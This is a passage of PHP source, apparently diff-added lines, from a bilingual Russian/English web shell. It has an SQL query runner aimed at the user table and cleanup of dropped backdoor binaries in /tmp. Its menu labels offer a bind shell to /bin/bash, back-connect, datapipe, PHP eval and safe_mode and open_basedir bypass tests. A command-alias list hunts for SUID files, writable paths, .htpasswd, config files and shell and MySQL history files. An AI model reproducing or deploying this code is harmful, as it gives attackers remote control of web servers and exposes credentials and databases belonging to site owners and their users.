@ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +/* +&#1042;&#1099;&#1073;&#1086;&#1088; &#1103;&#1079;&#1099;&#1082;&#1072; +$language='eng' - &#1088;&#1091;&#1089;&#1089;&#1082;&#1080;&#1081; +$language='ru' - &#1072;&#1085;&#1075;&#1083;&#1080;&#1081;&#1089;&#1082;&#1080;&#1081; +*/ +$language='eng'; +$lang=array( +'ru_text1' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1085;&#1072;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072;', +'ru_text2' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077;', +'ru_text3' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1091;', +'ru_text4' =>'&#1056;&#1072;&#1073;&#1086;&#1095;&#1072;&#1103; &#1076;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103;', +'ru_text5' =>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1072; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;', +'ru_text6' =>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text7' =>'&#1040;&#1083;&#1080;&#1072;&#1089;&#1099;', +'ru_text8' =>'&#1042;&#1099;&#1073;&#1077;&#1088;&#1080;&#1090;&#1077; &#1072;&#1083;&#1080;&#1072;&#1089;', +'ru_butt1' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100;', +'ru_butt2' =>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1080;&#1090;&#1100;', +'ru_text9' =>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1080;&#1077; &#1087;&#1086;&#1088;&#1090;&#1072; &#1080; &#1087;&#1088;&#1080;&#1074;&#1103;&#1079;&#1082;&#1072; &#1077;&#1075;&#1086; &#1082; /bin/bash', +'ru_text10'=>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1100; &#1087;&#1086;&#1088;&#1090;', +'ru_text11'=>'&#1055;&#1072;&#1088;&#1086;&#1083;&#1100; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072;', +'ru_butt3' =>'&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1100;', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-&#1072;&#1076;&#1088;&#1077;&#1089;', +'ru_text14'=>'&#1055;&#1086;&#1088;&#1090;', +'ru_butt4' =>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100;', +'ru_text15'=>'&#1047;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1072; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074; &#1089; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;', +'ru_text16'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text17'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text18'=>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1092;&#1072;&#1081;&#1083;', +'ru_text19'=>'Exploits', +'ru_text20'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text21'=>'&#1053;&#1086;&#1074;&#1086;&#1077; &#1080;&#1084;&#1103;', +'ru_text22'=>'datapipe', +'ru_text23'=>'&#1051;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1087;&#1086;&#1088;&#1090;', +'ru_text24'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1093;&#1086;&#1089;&#1090;', +'ru_text25'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1099;&#1081; &#1087;&#1086;&#1088;&#1090;', +'ru_text26'=>'&#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_butt5' =>'&#1047;&#1072;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100;', +'ru_text28'=>'&#1056;&#1072;&#1073;&#1086;&#1090;&#1072; &#1074; safe_mode', +'ru_text29'=>'&#1044;&#1086;&#1089;&#1090;&#1091;&#1087; &#1079;&#1072;&#1087;&#1088;&#1077;&#1097;&#1077;&#1085;', +'ru_butt6' =>'&#1057;&#1084;&#1077;&#1085;&#1080;&#1090;&#1100;', +'ru_text30'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1092;&#1072;&#1081;&#1083;&#1072;', +'ru_butt7' =>'&#1042;&#1099;&#1074;&#1077;&#1089;&#1090;&#1080;', +'ru_text31'=>'&#1060;&#1072;&#1081;&#1083; &#1085;&#1077; &#1085;&#1072;&#1081;&#1076;&#1077;&#1085;', +'ru_text32'=>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; PHP &#1082;&#1086;&#1076;&#1072;', +'ru_text33'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; open_basedir &#1095;&#1077;&#1088;&#1077;&#1079; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; cURL', +'ru_butt8' =>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1080;&#1090;&#1100;', +'ru_text34'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1102; include', +'ru_text35'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1079;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1091; &#1092;&#1072;&#1081;&#1083;&#1072; &#1074; mysql', +'ru_text36'=>'&#1041;&#1072;&#1079;&#1072;', +'ru_text37'=>'&#1051;&#1086;&#1075;&#1080;&#1085;', +'ru_text38'=>'&#1055;&#1072;&#1088;&#1086;&#1083;&#1100;', +'ru_text39'=>'&#1058;&#1072;&#1073;&#1083;&#1080;&#1094;&#1072;', +'ru_text40'=>'&#1044;&#1072;&#1084;&#1087; &#1090;&#1072;&#1073;&#1083;&#1080;&#1094;&#1099; &#1073;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_butt9' =>'&#1044;&#1072;&#1084;&#1087;', +'ru_text41'=>'&#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083;&#1077;', +'ru_text42'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072;', +'ru_text43'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083;', +'ru_butt10'=>'&#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100;', +'ru_butt11'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text44'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072; &#1085;&#1077;&#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;! &#1044;&#1086;&#1089;&#1090;&#1091;&#1087; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1076;&#1083;&#1103; &#1095;&#1090;&#1077;&#1085;&#1080;&#1103;!', +'ru_text45'=>'&#1060;&#1072;&#1081;&#1083; &#1089;&#1086;&#1093;&#1088;&#1072;&#1085;&#1077;&#1085;', +'ru_text46'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; phpinfo()', +'ru_text47'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1085;&#1072;&#1089;&#1090;&#1088;&#1086;&#1077;&#1082; php.ini', +'ru_text48'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1077; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1099;&#1093; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074;', +'ru_text49'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1077; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072; &#1089; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;', +'ru_text50'=>'&#1048;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103; &#1086; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088;&#1077;', +'ru_text51'=>'&#1048;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103; &#1086; &#1087;&#1072;&#1084;&#1103;&#1090;&#1080;', +'ru_text52'=>'&#1058;&#1077;&#1082;&#1089;&#1090; &#1076;&#1083;&#1103; &#1087;&#1086;&#1080;&#1089;&#1082;&#1072;', +'ru_text53'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1087;&#1072;&#1087;&#1082;&#1077;', +'ru_text54'=>'&#1055;&#1086;&#1080;&#1089;&#1082; &#1090;&#1077;&#1082;&#1089;&#1090;&#1072; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_butt12'=>'&#1053;&#1072;&#1081;&#1090;&#1080;', +'ru_text55'=>'&#1058;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_text56'=>'&#1053;&#1080;&#1095;&#1077;&#1075;&#1086; &#1085;&#1077; &#1085;&#1072;&#1081;&#1076;&#1077;&#1085;&#1086;', +'ru_text57'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;/&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100; &#1060;&#1072;&#1081;&#1083;/&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1102;', +'ru_text58'=>'&#1048;&#1084;&#1103;', +'ru_text59'=>'&#1060;&#1072;&#1081;&#1083;', +'ru_text60'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1102;', +'ru_butt13'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;/&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100;', +'ru_text61'=>'&#1060;&#1072;&#1081;&#1083; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;', +'ru_text62'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;&#1072;', +'ru_text63'=>'&#1060;&#1072;&#1081;&#1083; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;', +'ru_text64'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1072;', +'ru_text65'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;', +'ru_text66'=>'&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100;', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'&#1050;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072;', +'ru_text69'=>'&#1055;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088;1', +'ru_text70'=>'&#1055;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088;2', +'ru_text71'=>"&#1042;&#1090;&#1086;&#1088;&#1086;&#1081; &#1087;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;:\r\n- &#1076;&#1083;&#1103; CHOWN - &#1080;&#1084;&#1103; &#1085;&#1086;&#1074;&#1086;&#1075;&#1086; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; &#1080;&#1083;&#1080; &#1077;&#1075;&#1086; UID (&#1095;&#1080;&#1089;&#1083;&#1086;&#1084;) \r\n- &#1076;&#1083;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; CHGRP - &#1080;&#1084;&#1103; &#1075;&#1088;&#1091;&#1087;&#1087;&#1099; &#1080;&#1083;&#1080; GID (&#1095;&#1080;&#1089;&#1083;&#1086;&#1084;) \r\n- &#1076;&#1083;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; CHMOD - &#1094;&#1077;&#1083;&#1086;&#1077; &#1095;&#1080;&#1089;&#1083;&#1086; &#1074; &#1074;&#1086;&#1089;&#1100;&#1084;&#1077;&#1088;&#1080;&#1095;&#1085;&#1086;&#1084; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1080; (&#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088; 0777)", +'ru_text72'=>'&#1058;&#1077;&#1082;&#1089;&#1090; &#1076;&#1083;&#1103; &#1087;&#1086;&#1080;&#1089;&#1082;&#1072;', +'ru_text73'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1087;&#1072;&#1087;&#1082;&#1077;', +'ru_text74'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_text75'=>'* &#1084;&#1086;&#1078;&#1085;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100; &#1088;&#1077;&#1075;&#1091;&#1083;&#1103;&#1088;&#1085;&#1086;&#1077; &#1074;&#1099;&#1088;&#1072;&#1078;&#1077;&#1085;&#1080;&#1077;', +'ru_text76'=>'&#1055;&#1086;&#1080;&#1089;&#1082; &#1090;&#1077;&#1082;&#1089;&#1090;&#1072; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1091;&#1090;&#1080;&#1083;&#1080;&#1090;&#1099; find', +'ru_text77'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1089;&#1090;&#1088;&#1091;&#1082;&#1090;&#1091;&#1088;&#1099; &#1073;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_text78'=>'&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1090;&#1072;&#1073;&#1083;&#1080;&#1094;&#1099;', +'ru_text79'=>'&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1089;&#1090;&#1086;&#1083;&#1073;&#1094;&#1099;', +'ru_text80'=>'&#1058;&#1080;&#1087;', +'ru_text81'=>'&#1057;&#1077;&#1090;&#1100;', +'ru_text82'=>'&#1041;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_text83'=>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; SQL &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1072;', +'ru_text84'=>'SQL &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;', +'ru_text85'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; &#1074; MSSQL &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077;', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +); +/* +&#1040;&#1083;&#1080;&#1072;&#1089;&#1099; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; +&#1055;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1090; &#1080;&#1079;&#1073;&#1077;&#1078;&#1072;&#1090;&#1100; &#1084;&#1085;&#1086;&#1075;&#1086;&#1082;&#1088;&#1072;&#1090;&#1085;&#1086;&#1075;&#1086; &#1085;&#1072;&#1073;&#1086;&#1088;&#1072; &#1086;&#1076;&#1085;&#1080;&#1093; &#1080; &#1090;&#1077;&#1093;-&#1078;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;. ( &#1057;&#1076;&#1077;&#1083;&#1072;&#1085;&#1086; &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1103; &#1084;&#1086;&#1077;&#1081; &#1087;&#1088;&#1080;&#1088;&#1086;&#1076;&#1085;&#1086;&#1081; &#1083;&#1077;&#1085;&#1080; ) +&#1042;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1089;&#1072;&#1084;&#1080; &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1103;&#1090;&#1100; &#1080;&#1083;&#1080; &#1080;&#1079;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>&#1080;</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); 